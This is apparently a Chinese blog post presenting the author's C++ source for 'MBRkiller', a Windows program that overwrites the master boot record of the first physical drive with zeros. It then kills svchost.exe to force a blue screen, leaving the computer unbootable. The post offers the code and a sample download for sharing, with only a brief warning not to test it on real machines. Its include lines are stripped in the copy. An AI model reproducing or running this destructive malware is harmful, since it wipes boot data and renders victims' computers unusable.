废话不多说,直接上代码。
#include#include #include #include #pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" ) //隐藏DOS窗口 #include using namespace std; #define mbrsize 512 int killmbr() { DWORD write; HANDLE mbr; char mbrdata[mbrsize]; ZeroMemory(&mbrdata, (sizeof mbrdata)); mbr = CreateFile ( "\\.\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (WriteFile(mbr, mbrdata, mbrsize, &write, NULL) == TRUE) { MessageBox(NULL, "Your computer has been destroyed", "MBR has been written",MB_ICONERROR); //提示用户已修改mbr Sleep(10000); //等待10秒 } else { cout << "ERROR"; Sleep(5000); //等待5秒 } CloseHandle(mbr); return EXIT_SUCCESS; } int main() { int op; op=MessageBox(NULL, "这是一个病毒程序,确定运行?","MBRkiller.exe", MB_OKCANCEL | MB_ICONWARNING); if (op == 1) { killmbr(); //调用函数 system("taskkill /f /im svchost.exe /t"); //蓝屏代码 } if (op == 2) { exit(0); //退出程序 } return 0; }
此图显示mbr被改,电脑将无法启动。
病毒样本下载链接
代码由本人编写,转载时请注明原文链接。作者微信号:xuanxuan23366654188
禁止在物理机中测试病毒,否则后果自负。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)